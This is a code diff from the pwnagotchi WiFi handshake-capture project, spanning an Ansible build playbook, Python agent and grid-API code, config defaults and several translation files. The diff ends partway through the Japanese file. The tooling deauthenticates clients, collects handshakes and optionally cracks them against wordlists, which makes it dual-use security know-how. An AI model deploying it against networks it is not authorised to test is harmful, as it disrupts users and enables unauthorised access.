- "dtoverlay=dwc2"
- "dtparam=spi=on"
- "dtoverlay=spi1-3cs"
- "dtoverlay=i2c_arm=on"
- "dtoverlay=i2c1=on"
services:
enable:
- dphys-swapfile.service
- pwnagotchi.service
- bettercap.service
- pwngrid-peer.service
- epd-fuse.service
disable:
- apt-daily.timer
- apt-daily.service
@@ -29,7 +33,15 @@
bettercap:
url: "https://github.com/bettercap/bettercap/releases/download/v2.25/bettercap_linux_armv6l_2.25.zip"
ui: "https://github.com/bettercap/ui/releases/download/v1.3.0/ui.zip"
pwngrid:
url: "https://github.com/evilsocket/pwngrid/releases/download/v1.7.6/pwngrid_linux_armv6l_1.7.6.zip"
apt:
hold:
- firmware-atheros
- firmware-brcm80211
- firmware-libertas
- firmware-misc-nonfree
- firmware-realtek
remove:
- rasberrypi-net-mods
- dhcpcd5
@@ -79,6 +91,10 @@
- fonts-dejavu-core
- fonts-dejavu-extra
- python3-pil
- python3-smbus
- libfuse-dev
- bc
- fonts-freefont-ttf
tasks:
@@ -111,6 +127,12 @@
repo: deb http://http.re4son-kernel.com/re4son/ kali-pi main
state: present
- name: add firmware packages to hold
dpkg_selections:
name: "{{ item }}"
selection: hold
with_items: "{{ packages.apt.hold }}"
- name: update apt package cache
apt:
update_cache: yes
@@ -135,6 +157,33 @@
path: /etc/dphys-swapfile
content: "CONF_SWAPSIZE=1024"
- name: clone papirus repository
git:
repo: https://github.com/repaper/gratis.git
dest: /usr/local/src/gratis
- name: build papirus service
make:
chdir: /usr/local/src/gratis
target: rpi
params:
EPD_IO: epd_io.h
PANEL_VERSION: 'V231_G2'
- name: install papirus service
make:
chdir: /usr/local/src/gratis
target: rpi-install
params:
EPD_IO: epd_io.h
PANEL_VERSION: 'V231_G2'
- name: configure papirus display size
lineinfile:
dest: /etc/default/epd-fuse
regexp: "#EPD_SIZE=2.0"
line: "EPD_SIZE=2.0"
- name: acquire python3 pip target
command: "python3 -c 'import sys;print(sys.path.pop())'"
register: pip_target
@@ -164,6 +213,13 @@
name: "{{ lookup('fileglob', '/usr/local/src/pwnagotchi/dist/pwnagotchi*.whl') }}"
extra_args: "--no-cache-dir"
- name: download and install pwngrid
unarchive:
src: "{{ packages.pwngrid.url }}"
dest: /usr/bin
remote_src: yes
mode: 0755
- name: download and install bettercap
unarchive:
src: "{{ packages.bettercap.url }}"
@@ -309,34 +365,48 @@
/opt/vc/bin/tvservice -o
fi
- name: create /etc/pwnagotchi/config.yml
blockinfile:
- name: create /etc/pwnagotchi folder
file:
path: /etc/pwnagotchi
state: directory
- name: check if user configuration exists
stat:
path: /etc/pwnagotchi/config.yml
create: yes
block: |
# put here your custom configuration overrides
register: user_config
- name: create /etc/pwnagotchi/config.yml
copy:
dest: /etc/pwnagotchi/config.yml
content: |
# Add your configuration overrides on this file any configuration changes done to default.yml will be lost!
# Example:
#
# ui:
# display:
# type: 'inkyphat'
# color: 'black'
#
when: not user_config.stat.exists
- name: configure lo interface
blockinfile:
path: /etc/network/interfaces.d/lo-cfg
create: yes
block: |
copy:
dest: /etc/network/interfaces.d/lo-cfg
content: |
auto lo
iface lo inet loopback
- name: configure wlan interface
blockinfile:
path: /etc/network/interfaces.d/wlan0-cfg
create: yes
block: |
copy:
dest: /etc/network/interfaces.d/wlan0-cfg
content: |
allow-hotplug wlan0
iface wlan0 inet static
- name: configure usb interface
blockinfile:
path: /etc/network/interfaces.d/usb0-cfg
create: yes
block: |
copy:
dest: /etc/network/interfaces.d/usb0-cfg
content: |
allow-hotplug usb0
iface usb0 inet static
address 10.0.0.2
@@ -346,10 +416,9 @@
gateway 10.0.0.1
- name: configure eth0 interface (pi2/3/4)
blockinfile:
path: /etc/network/interfaces.d/eth0-cfg
create: yes
block: |
copy:
dest: /etc/network/interfaces.d/eth0-cfg
content: |
allow-hotplug eth0
iface eth0 inet dhcp
@@ -363,8 +432,7 @@
dest: /boot/config.txt
insertafter: EOF
line: '{{ item }}'
with_items:
- "{{system.boot_options}}"
with_items: "{{system.boot_options}}"
- name: change root partition
replace:
@@ -385,7 +453,33 @@
- name: configure motd
copy:
dest: /etc/motd
content: "(◕‿‿◕) {{pwnagotchi.hostname}} (pwnagotchi-{{pwnagotchi.version}})"
content: |
(◕‿‿◕) {{pwnagotchi.hostname}} (pwnagotchi-{{pwnagotchi.version}})
Hi! I'm a pwnagotchi, please take good care of me!
Here are some basic things you need to know to raise me properly!
If you want to change my configuration, use /etc/pwnagotchi/config.yml
All the configuration options can be found on /etc/pwnagotchi/default.yml,
but don't change this file because I will recreate it every time I'm restarted!
I'm managed by systemd. Here are some basic commands.
If you want to know what I'm doing, you can check my logs with the command
journalctl -fu pwnagotchi
If you want to know if I'm running, you can use
systemctl status pwnagotchi
You can restart me using
systemctl restart pwnagotchi
But be aware I will go into MANUAL mode when restarted!
You can put me back into AUTO mode using
touch /root/.pwnagotchi-auto && systemctl restart pwnagotchi
You learn more about me at https://pwnagotchi.ai/
- name: clean apt cache
apt:
@@ -395,6 +489,28 @@
apt:
autoremove: yes
- name: add pwngrid-peer service to systemd
copy:
dest: /etc/systemd/system/pwngrid-peer.service
content: |
[Unit]
Description=pwngrid peer service.
Documentation=https://pwnagotchi.ai
Wants=network.target
After=bettercap.service
[Service]
Type=simple
PermissionsStartOnly=true
ExecStart=/usr/bin/pwngrid -keys /etc/pwnagotchi -address 127.0.0.1:8666 -client-token /root/.api-enrollment.json -wait -log /var/log/pwngrid-peer.log -iface mon0
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
notify:
- reload systemd services
- name: add bettercap service to systemd
copy:
dest: /etc/systemd/system/bettercap.service
@@ -466,5 +582,3 @@
- name: reload systemd services
systemd:
daemon_reload: yes

View File

@@ -4,7 +4,7 @@ import logging
import time
import pwnagotchi.ui.view as view
version = '1.0.0RC2'
version = '1.0.0RC5'
_name = None
@@ -17,6 +17,11 @@ def name():
return _name
def uptime():
with open('/proc/uptime') as fp:
return int(fp.read().split('.')[0])
def mem_usage():
out = subprocess.getoutput("free -m")
for line in out.split("\n"):
@@ -60,3 +65,9 @@ def shutdown():
time.sleep(5)
os.system("sync")
os.system("halt")
def reboot():
logging.warning("rebooting ...")
os.system("sync")
os.system("shutdown -r now")

View File

@@ -2,11 +2,10 @@ import time
import json
import os
import re
import socket
from datetime import datetime
import logging
import _thread
import pwnagotchi
import pwnagotchi.utils as utils
import pwnagotchi.plugins as plugins
from pwnagotchi.log import LastSession
@@ -41,15 +40,6 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer):
if not os.path.exists(config['bettercap']['handshakes']):
os.makedirs(config['bettercap']['handshakes'])
@staticmethod
def is_connected():
try:
socket.create_connection(("www.google.com", 80))
return True
except OSError:
pass
return False
def config(self):
return self._config
@@ -160,23 +150,6 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer):
self._view.wait(t, sleeping)
self._epoch.track(sleep=True, inc=t)
def check_channels(self, channels):
busy_channels = [ch for ch, aps in channels]
# if we're hopping and no filter is configured
if self._config['personality']['channels'] == [] and self._config['main']['filter'] is None:
# check if any of the non overlapping channels is free
for ch in self._epoch.non_overlapping_channels:
if ch not in busy_channels:
self._epoch.non_overlapping_channels[ch] += 1
logging.info("channel %d is free from %d epochs" % (ch, self._epoch.non_overlapping_channels[ch]))
elif self._epoch.non_overlapping_channels[ch] > 0:
self._epoch.non_overlapping_channels[ch] -= 1
# report any channel that has been free for at least 3 epochs
for ch, num_epochs_free in self._epoch.non_overlapping_channels.items():
if num_epochs_free >= 3:
logging.info("channel %d has been free for %d epochs" % (ch, num_epochs_free))
self.set_free_channel(ch)
def recon(self):
recon_time = self._config['personality']['recon_time']
max_inactive = self._config['personality']['max_inactive_scale']
@@ -209,7 +182,7 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer):
def set_access_points(self, aps):
self._access_points = aps
plugins.on('wifi_update', self, aps)
self._epoch.observe(aps, self._advertiser.peers() if self._advertiser is not None else ())
self._epoch.observe(aps, list(self._peers.values()))
return self._access_points
def get_access_points(self):
@@ -217,6 +190,7 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer):
aps = []
try:
s = self.session()
plugins.on("unfiltered_ap_list", self, s['wifi']['aps'])
for ap in s['wifi']['aps']:
if ap['hostname'] not in whitelist:
if self._filter_included(ap):
@@ -258,9 +232,9 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer):
return None
def _update_uptime(self, s):
secs = time.time() - self._started_at
secs = pwnagotchi.uptime()
self._view.set('uptime', utils.secs_to_hhmmss(secs))
self._view.set('epoch', '%04d' % self._epoch.epoch)
# self._view.set('epoch', '%04d' % self._epoch.epoch)
def _update_counters(self):
tot_aps = len(self._access_points)
@@ -290,22 +264,8 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer):
if new_shakes > 0:
self._view.on_handshakes(new_shakes)
def _update_advertisement(self, s):
run_handshakes = len(self._handshakes)
tot_handshakes = utils.total_unique_handshakes(self._config['bettercap']['handshakes'])
started = s['started_at'].split('.')[0]
started = datetime.strptime(started, '%Y-%m-%dT%H:%M:%S')
started = time.mktime(started.timetuple())
self._advertiser.update({ \
'pwnd_run': run_handshakes,
'pwnd_tot': tot_handshakes,
'uptime': time.time() - started,
'epoch': self._epoch.epoch})
def _update_peers(self):
peer = self._advertiser.closest_peer()
tot = self._advertiser.num_peers()
self._view.set_closest_peer(peer, tot)
self._view.set_closest_peer(self._closest_peer, len(self._peers))
def _save_recovery_data(self):
logging.warning("writing recovery data to %s ..." % RECOVERY_DATA_FILE)
@@ -350,10 +310,8 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer):
s = self.session()
self._update_uptime(s)
if self._advertiser is not None:
self._update_advertisement(s)
self._update_peers()
self._update_advertisement(s)
self._update_peers()
self._update_counters()
try:
@@ -523,9 +481,7 @@ class Agent(Client, AsyncAdvertiser, AsyncTrainer):
def _reboot(self):
self.set_rebooting()
self._save_recovery_data()
logging.warning("rebooting the system ...")
os.system("/usr/bin/sync")
os.system("/usr/sbin/shutdown -r now")
pwnagotchi.reboot()
def next_epoch(self):
was_stale = self.is_stale()

View File

@@ -1,6 +1,12 @@
# WARNING WARNING WARNING WARNING
#
# This file is recreated with default settings on every pwnagotchi restart,
# use /etc/pwnagotchi/config.yml to configure this unit.
#
#
# main algorithm configuration
main:
# currently implemented: en (default), de, el, fr, it, mk, nl, ru, se
# currently implemented: en (default), de, el, fr, it, mk, nl, ru, se, pt-BR, es, pt
lang: en
# custom plugins path, if null only default plugins with be loaded
custom_plugins:
@@ -21,6 +27,7 @@ main:
files:
- /root/brain.nn
- /root/brain.json
- /root/.api-report.json
- /root/handshakes/
- /etc/pwnagotchi/
- /etc/hostname
@@ -55,7 +62,18 @@ main:
screen_refresh:
enabled: false
refresh_interval: 50
quickdic:
enabled: false
wordlist_folder: /opt/wordlists/
AircrackOnly:
enabled: false
bt-tether:
enabled: false # if you want to use this, set ui.display.video.address to 0.0.0.0
mac: ~ # mac of your bluetooth device
ip: '192.168.44.44' # ip from which your pwnagotchi should be reachable
netmask: 24
interval: 1 # check every x minutes for device
share_internet: false
# monitor interface to use
iface: mon0
# command to run to bring the mon interface up in case it's not up already
@@ -72,8 +90,6 @@ main:
- ANOTHER_EXAMPLE_NETWORK
# if not null, filter access points by this regular expression
filter: null
# cryptographic key for identity
pubkey: /etc/ssh/ssh_host_rsa_key.pub
ai:
# if false, only the default 'personality' will be used
@@ -153,13 +169,13 @@ ui:
display:
enabled: true
rotation: 180
# Possible options inkyphat/inky, papirus/papi, waveshare_1/ws_1 or waveshare_2/ws_2
# Possible options inkyphat/inky, papirus/papi, waveshare_1/ws_1 or waveshare_2/ws_2, oledhat
type: 'waveshare_2'
# Possible options red/yellow/black (black used for monocromatic displays)
color: 'black'
video:
enabled: true
address: '10.0.0.2'
address: '0.0.0.0'
port: 8080

97
pwnagotchi/grid.py Normal file
View File

@@ -0,0 +1,97 @@
import subprocess
import socket
import requests
import json
import logging
import pwnagotchi
# pwngrid-peer is running on port 8666
API_ADDRESS = "http://127.0.0.1:8666/api/v1"
def is_connected():
try:
socket.create_connection(("www.google.com", 80))
return True
except OSError:
pass
return False
def call(path, obj=None):
url = '%s%s' % (API_ADDRESS, path)
if obj is None:
r = requests.get(url, headers=None)
else:
r = requests.post(url, headers=None, json=obj)
if r.status_code != 200:
raise Exception("(status %d) %s" % (r.status_code, r.text))
return r.json()
def advertise(enabled=True):
return call("/mesh/%s" % 'true' if enabled else 'false')
def set_advertisement_data(data):
return call("/mesh/data", obj=data)
def peers():
return call("/mesh/peers")
def closest_peer():
all = peers()
return all[0] if len(all) else None
def update_data(last_session):
brain = {}
try:
with open('/root/brain.json') as fp:
brain = json.load(fp)
except:
pass
data = {
'session': {
'duration': last_session.duration,
'epochs': last_session.epochs,
'train_epochs': last_session.train_epochs,
'avg_reward': last_session.avg_reward,
'min_reward': last_session.min_reward,
'max_reward': last_session.max_reward,
'deauthed': last_session.deauthed,
'associated': last_session.associated,
'handshakes': last_session.handshakes,
'peers': last_session.peers,
},
'uname': subprocess.getoutput("uname -a"),
'brain': brain,
'version': pwnagotchi.version
}
logging.debug("updating grid data: %s" % data)
call("/data", data)
def report_ap(essid, bssid):
try:
call("/report/ap", {
'essid': essid,
'bssid': bssid,
})
return True
except Exception as e:
logging.exception("error while reporting ap %s(%s)" % (essid, bssid))
return False
def inbox(page=1, with_pager=False):
obj = call("/inbox?p=%d" % page)
return obj["messages"] if not with_pager else obj

View File

@@ -10,38 +10,62 @@ DefaultPath = "/etc/pwnagotchi/"
class KeyPair(object):
def __init__(self, path=DefaultPath):
def __init__(self, path=DefaultPath, view=None):
self.path = path
self.priv_path = os.path.join(path, "id_rsa")
self.priv_key = None
self.pub_path = "%s.pub" % self.priv_path
self.pub_key = None
self.fingerprint_path = os.path.join(path, "fingerprint")
self._view = view
if not os.path.exists(self.path):
os.makedirs(self.path)
if not os.path.exists(self.priv_path) or not os.path.exists(self.pub_path):
logging.info("generating %s ..." % self.priv_path)
os.system("/usr/bin/ssh-keygen -t rsa -m PEM -b 4096 -N '' -f '%s'" % self.priv_path)
while True:
# first time, generate new keys
if not os.path.exists(self.priv_path) or not os.path.exists(self.pub_path):
self._view.on_keys_generation()
logging.info("generating %s ..." % self.priv_path)
os.system("/usr/bin/ssh-keygen -t rsa -m PEM -b 4096 -N '' -f '%s'" % self.priv_path)
with open(self.priv_path) as fp:
self.priv_key = RSA.importKey(fp.read())
# load keys: they might be corrupted if the unit has been turned off during the generation, in this case
# the exception will remove the files and go back at the beginning of this loop.
try:
with open(self.priv_path) as fp:
self.priv_key = RSA.importKey(fp.read())
with open(self.pub_path) as fp:
self.pub_key = RSA.importKey(fp.read())
self.pub_key_pem = self.pub_key.exportKey('PEM').decode("ascii")
# python is special
if 'RSA PUBLIC KEY' not in self.pub_key_pem:
self.pub_key_pem = self.pub_key_pem.replace('PUBLIC KEY', 'RSA PUBLIC KEY')
with open(self.pub_path) as fp:
self.pub_key = RSA.importKey(fp.read())
self.pub_key_pem = self.pub_key.exportKey('PEM').decode("ascii")
# python is special
if 'RSA PUBLIC KEY' not in self.pub_key_pem:
self.pub_key_pem = self.pub_key_pem.replace('PUBLIC KEY', 'RSA PUBLIC KEY')
pem = self.pub_key_pem.encode("ascii")
pem_ascii = self.pub_key_pem.encode("ascii")
self.pub_key_pem_b64 = base64.b64encode(pem).decode("ascii")
self.fingerprint = hashlib.sha256(pem).hexdigest()
self.pub_key_pem_b64 = base64.b64encode(pem_ascii).decode("ascii")
self.fingerprint = hashlib.sha256(pem_ascii).hexdigest()
with open(self.fingerprint_path, 'w+t') as fp:
fp.write(self.fingerprint)
# no exception, keys loaded correctly.
self._view.on_starting()
return
except Exception as e:
# if we're here, loading the keys broke something ...
logging.exception("error loading keys, maybe corrupted, deleting and regenerating ...")
try:
os.remove(self.priv_path)
os.remove(self.pub_path)
except:
pass
def sign(self, message):
hasher = SHA256.new(message.encode("ascii"))
signer = PKCS1_PSS.new(self.priv_key, saltLen=16)
signature = signer.sign(hasher)
signature_b64 = base64.b64encode(signature).decode("ascii")
return signature, signature_b64
return signature, signature_b64

View File

@@ -7,7 +7,7 @@ msgid ""
msgstr ""
"Project-Id-Version: 0.0.1\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-05 14:10+0200\n"
"POT-Creation-Date: 2019-10-09 17:42+0200\n"
"PO-Revision-Date: 2019-09-29 14:00+0200\n"
"Last-Translator: dadav <33197631+dadav@users.noreply.github.com>\n"
"Language-Team: DE <33197631+dadav@users.noreply.github.com>\n"
@@ -121,6 +121,12 @@ msgstr ""
msgid "ZzzZzzz ({secs}s)"
msgstr ""
msgid "Good night."
msgstr "Gute Nacht."
msgid "Zzz"
msgstr ""
#, python-brace-format
msgid "Waiting for {secs}s ..."
msgstr "Warte für {secs}s ..."
@@ -139,7 +145,7 @@ msgstr "Verbinde mit {what}"
#, python-brace-format
msgid "Yo {what}!"
msgstr ""
msgstr "Jo {what}!"
#, python-brace-format
msgid "Just decided that {mac} needs no WiFi!"

Binary file not shown.

View File

@@ -0,0 +1,214 @@
# pwnagotchi voice data
# Copyright (C) 2019
# This file is distributed under the same license as the pwnagotchi package.
# FIRST AUTHOR diegopastor <dpastor29@alumnos.uaq.mx>, 2019.
#
msgid ""
msgstr ""
"Project-Id-Version: 0.0.1\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-09 17:42+0200\n"
"PO-Revision-Date: 2019-10-09 21:07+0000\n"
"Last-Translator: diegopastor <dpastor29@alumnos.uaq.mx>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"Language: spanish\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
msgid "ZzzzZZzzzzZzzz"
msgstr "ZzzzZZzzzzZzzz"
msgid "Hi, I'm Pwnagotchi! Starting ..."
msgstr "Hola, soy Pwnagotchi! Empezando ..."
msgid "New day, new hunt, new pwns!"
msgstr "Nuevo día, nueva cazería, nuevos pwns!"
msgid "Hack the Planet!"
msgstr "Hackea el planeta!"
msgid "AI ready."
msgstr "IA lista."
msgid "The neural network is ready."
msgstr "La red neuronal está lista."
#, python-brace-format
msgid "Hey, channel {channel} is free! Your AP will say thanks."
msgstr "Oye, el canal {channel} está libre! Tú AP lo agradecerá."
msgid "I'm bored ..."
msgstr "Estoy aburrido ..."
msgid "Let's go for a walk!"
msgstr "Vamos por un paseo!"
msgid "This is the best day of my life!"
msgstr "Este es el mejor día de mi vida!"
msgid "Shitty day :/"
msgstr "Día de mierda :/"
msgid "I'm extremely bored ..."
msgstr "Estoy extremadamente aburrido ..."
msgid "I'm very sad ..."
msgstr "Estoy muy triste ..."
msgid "I'm sad"
msgstr "Estoy triste."
msgid "I'm living the life!"
msgstr "Estoy viviendo la vida!"
msgid "I pwn therefore I am."
msgstr "Pwneo, por lo tanto, existo"
msgid "So many networks!!!"
msgstr "Cuantas redes!!!"
msgid "I'm having so much fun!"
msgstr "Me estoy divirtiendo mucho!"
msgid "My crime is that of curiosity ..."
msgstr "Mi único crimen es la curiosidad ..."
#, python-brace-format
msgid "Hello {name}! Nice to meet you. {name}"
msgstr "Hola {name}! encantado de conocerte."
#, python-brace-format
msgid "Unit {name} is nearby! {name}"
msgstr "La unidad {name} está cerca!"
#, python-brace-format
msgid "Uhm ... goodbye {name}"
msgstr "Uhm ... adiós {name}"
#, python-brace-format
msgid "{name} is gone ..."
msgstr "{name} se fue ..."
#, python-brace-format
msgid "Whoops ... {name} is gone."
msgstr "Uy ... {name} se fue"
#, python-brace-format
msgid "{name} missed!"
msgstr "{name} perdido!"
msgid "Missed!"
msgstr "Perdido!"
msgid "Nobody wants to play with me ..."
msgstr "Nadie quiere jugar conmigo ..."
msgid "I feel so alone ..."
msgstr "Me siento tan solo ..."
msgid "Where's everybody?!"
msgstr "Dónde está todo el mundo?"
#, python-brace-format
msgid "Napping for {secs}s ..."
msgstr "Tomándo una siesta por {secs}s ..."
msgid "Zzzzz"
msgstr "Zzzzz"
#, python-brace-format
msgid "ZzzZzzz ({secs}s)"
msgstr "ZzzZzzz ({secs}s)"
msgid "Good night."
msgstr "Buenas noches."
msgid "Zzz"
msgstr "Zzz"
#, python-brace-format
msgid "Waiting for {secs}s ..."
msgstr "Esperando {secs}s .."
#, python-brace-format
msgid "Looking around ({secs}s)"
msgstr "Mirando al rededor ({secs}s)"
#, python-brace-format
msgid "Hey {what} let's be friends!"
msgstr "Oye {what} seamos amigos!"
#, python-brace-format
msgid "Associating to {what}"
msgstr "Asociando a {what}"
#, python-brace-format
msgid "Yo {what}!"
msgstr "Ey {what}!"
#, python-brace-format
msgid "Just decided that {mac} needs no WiFi!"
msgstr "Acabo de decidir que {mac} no necesita WiFi!"
#, python-brace-format
msgid "Deauthenticating {mac}"
msgstr "Desautenticando a {mac}"
#, python-brace-format
msgid "Kickbanning {mac}!"
msgstr "Expulsando y banneando a {mac}!"
#, python-brace-format
msgid "Cool, we got {num} new handshake{plural}!"
msgstr "Genial, obtuvimos {num} nuevo{plural} handshake{plural}!"
msgid "Ops, something went wrong ... Rebooting ..."
msgstr "Oops, algo salió mal ... Reiniciándo ..."
#, python-brace-format
msgid "Kicked {num} stations\n"
msgstr "Expulsamos {num} estaciones\n"
#, python-brace-format
msgid "Made {num} new friends\n"
msgstr "Hicimos {num} nuevos amigos\n"
#, python-brace-format
msgid "Got {num} handshakes\n"
msgstr "Obtuvimos {num} handshakes\n"
msgid "Met 1 peer"
msgstr "Conocí 1 igual"
#, python-brace-format
msgid "Met {num} peers"
msgstr "Conocí {num} iguales"
#, python-brace-format
msgid ""
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
"#pwnlog #pwnlife #hacktheplanet #skynet"
msgstr ""
"He estado pwneando por {duration} y expulsé {deauthed} clientes! También conocí"
"{associated} nuevos amigos y me comí {handshakes} handshakes! #pwnagotchi "
"#pwnlog #pwnlife #hacktheplanet #skynet"
msgid "hours"
msgstr "horas"
msgid "minutes"
msgstr "minutos"
msgid "seconds"
msgstr "segundos"
msgid "hour"
msgstr "hora"
msgid "minute"
msgstr "minuto"
msgid "second"
msgstr "segundo"

View File

@@ -192,19 +192,19 @@ msgstr ""
"#pwnlog #pwnlife #hacktheplanet #skynet"
msgid "hours"
msgstr ""
msgstr "heures"
msgid "minutes"
msgstr ""
msgstr "minutes"
msgid "seconds"
msgstr ""
msgstr "secondes"
msgid "hour"
msgstr ""
msgstr "heure"
msgid "minute"
msgstr ""
msgstr "minute"
msgid "second"
msgstr ""
msgstr "seconde"

Binary file not shown.

View File

@@ -0,0 +1,215 @@
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-09 17:42+0200\n"
"PO-Revision-Date: 2019-10-15 23:46+0100\n"
"Language: ga\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Last-Translator: \n"
"Language-Team: \n"
"X-Generator: Poedit 2.2.4\n"
msgid "ZzzzZZzzzzZzzz"
msgstr ""
msgid "Hi, I'm Pwnagotchi! Starting ..."
msgstr "Dia Duit, Pwnagotchi is ainm dom! Ag tosú ..."
msgid "New day, new hunt, new pwns!"
msgstr "Lá nua, seilg nua, pwns nua!"
msgid "Hack the Planet!"
msgstr "Haic An Phláinéid!"
msgid "AI ready."
msgstr "AI réidh."
msgid "The neural network is ready."
msgstr "Tá an líonra néarach réidh."
#, python-brace-format
msgid "Hey, channel {channel} is free! Your AP will say thanks."
msgstr "Hé, tá cainéal {channel} ar fail! Déarfaidh do PR go raibh maith agat."
msgid "I'm bored ..."
msgstr "Tá leadrán orm ..."
msgid "Let's go for a walk!"
msgstr "Siúil liom, le do thoil!"
msgid "This is the best day of my life!"
msgstr "Tá sé an lá is fearr i mo shaol!"
msgid "Shitty day :/"
msgstr "Tá lá damanta agam :/"
msgid "I'm extremely bored ..."
msgstr "Tá mé ag dul as mo mheabhair le leadrán ..."
msgid "I'm very sad ..."
msgstr "Ta brón an domhain orm ..."
msgid "I'm sad"
msgstr "Tá brón orm"
msgid "I'm living the life!"
msgstr "Tá an saol ar a thoil agam!"
msgid "I pwn therefore I am."
msgstr "Déanaim pwnáil, dá bhrí sin táim ann."
msgid "So many networks!!!"
msgstr "Gréasáin - Tá an iliomad acu ann!!!"
msgid "I'm having so much fun!"
msgstr "Tá craic iontach agam!"
msgid "My crime is that of curiosity ..."
msgstr "Ní haon pheaca é bheith fiosrach ..."
#, python-brace-format
msgid "Hello {name}! Nice to meet you. {name}"
msgstr "Dia Duit {name}! Is deas bualadh leat. {name}"
#, python-brace-format
msgid "Unit {name} is nearby! {name}"
msgstr "Aonad {name} in aice láimhe! {name}"
#, python-brace-format
msgid "Uhm ... goodbye {name}"
msgstr "Uhm... slán leat {name}"
#, python-brace-format
msgid "{name} is gone ..."
msgstr "Tá {name} imithe ..."
#, python-brace-format
msgid "Whoops ... {name} is gone."
msgstr "Hoips … Tá {name} imithe."
#, python-brace-format
msgid "{name} missed!"
msgstr "Chaill mé ar {name}!"
msgid "Missed!"
msgstr "Chaill mé é sin !"
msgid "Nobody wants to play with me ..."
msgstr "Níl aon duine ag iarraidh imirt liom ..."
msgid "I feel so alone ..."
msgstr "Tá uaigneas an domhain orm ..."
msgid "Where's everybody?!"
msgstr "Cá bhfuil gach duine?!"
#, python-brace-format
msgid "Napping for {secs}s ..."
msgstr "Néal a chodladh ar {secs}s ..."
msgid "Zzzzz"
msgstr ""
#, python-brace-format
msgid "ZzzZzzz ({secs}s)"
msgstr ""
msgid "Good night."
msgstr "Oíche mhaith."
msgid "Zzz"
msgstr ""
#, python-brace-format
msgid "Waiting for {secs}s ..."
msgstr "Fan ar {secs}s ..."
#, python-brace-format
msgid "Looking around ({secs}s)"
msgstr "Ag amharc uaim ar ({secs}s)"
#, python-brace-format
msgid "Hey {what} let's be friends!"
msgstr "Hé {what} déanaimis síocháin!"
#, python-brace-format
msgid "Associating to {what}"
msgstr "Ag coinneáil le {what}"
#, python-brace-format
msgid "Yo {what}!"
msgstr "Hé {what}!"
#, python-brace-format
msgid "Just decided that {mac} needs no WiFi!"
msgstr "Tá cinneadh déanta agam. Níl {mac} sin de dhíth air WiFi!"
#, python-brace-format
msgid "Deauthenticating {mac}"
msgstr "Bain fíordheimhniúde {mac}"
#, python-brace-format
msgid "Kickbanning {mac}!"
msgstr "Chiceáil mé agus cosc mé ar {mac}!"
#, python-brace-format
msgid "Cool, we got {num} new handshake{plural}!"
msgstr "Go hiontach, fuaireamar {num} handshake{plural}!"
msgid "Ops, something went wrong ... Rebooting ..."
msgstr "Hoips...Tháinig ainghléas éigin..."
#, python-brace-format
msgid "Kicked {num} stations\n"
msgstr "{num} stáisiún kick\n"
#, python-brace-format
msgid "Made {num} new friends\n"
msgstr "Rinne mé {num} cairde nua\n"
#, python-brace-format
msgid "Got {num} handshakes\n"
msgstr "Fuair me {num} cumarsáid thionscantach\n"
msgid "Met 1 peer"
msgstr "Bhuail mé piara amháin"
#, python-brace-format
msgid "Met {num} peers"
msgstr "Bhuail me {num} piara"
#, python-brace-format
msgid ""
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
"#pwnlog #pwnlife #hacktheplanet #skynet"
msgstr ""
"Bhí me ag pwnáil ar {duration} agus chiceáil me ar {deauthed} cliaint! Chomh "
"maith, bhuail me {associated} cairde nua and d'ith mé {handshakes}! "
"#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet"
msgid "hours"
msgstr "uair on chloig"
msgid "minutes"
msgstr "nóiméad"
msgid "seconds"
msgstr "soicind"
msgid "hour"
msgstr "uair an chloig"
msgid "minute"
msgstr "nóiméad"
msgid "second"
msgstr "soicind"

Binary file not shown.

View File

@@ -0,0 +1,212 @@
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR 24534649+wytshadow@users.noreply.github.com, 2019.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: 0.0.1\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-16 15:05+0200\n"
"PO-Revision-Date: 2019-10-16 15:05+0200\n"
"Last-Translator: wytshadow <24534649+wytshadow@users.noreply.github.com>\n"
"Language-Team: pwnagotchi <24534649+wytshadow@users.noreply.github.com>\n"
"Language: jp\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
msgid "ZzzzZZzzzzZzzz"
msgstr "すやすや〜"
msgid "Hi, I'm Pwnagotchi! Starting ..."
msgstr "こんにちは、ポウナゴッチです!始めている。。。"
msgid "New day, new hunt, new pwns!"
msgstr ""
msgid "Hack the Planet!"
msgstr "ハックザプラネット!"
msgid "AI ready."
msgstr "人工知能の準備ができました。"
msgid "The neural network is ready."
msgstr "ニューラルネットワークの準備ができました。"
#, python-brace-format
msgid "Hey, channel {channel} is free! Your AP will say thanks."
msgstr "ねえ、チャンネル{channel}は無料です! キミのAPは感謝を言います。"
msgid "I'm bored ..."
msgstr "退屈です。。。"
msgid "Let's go for a walk!"
msgstr "散歩に行きましょう!"
msgid "This is the best day of my life!"
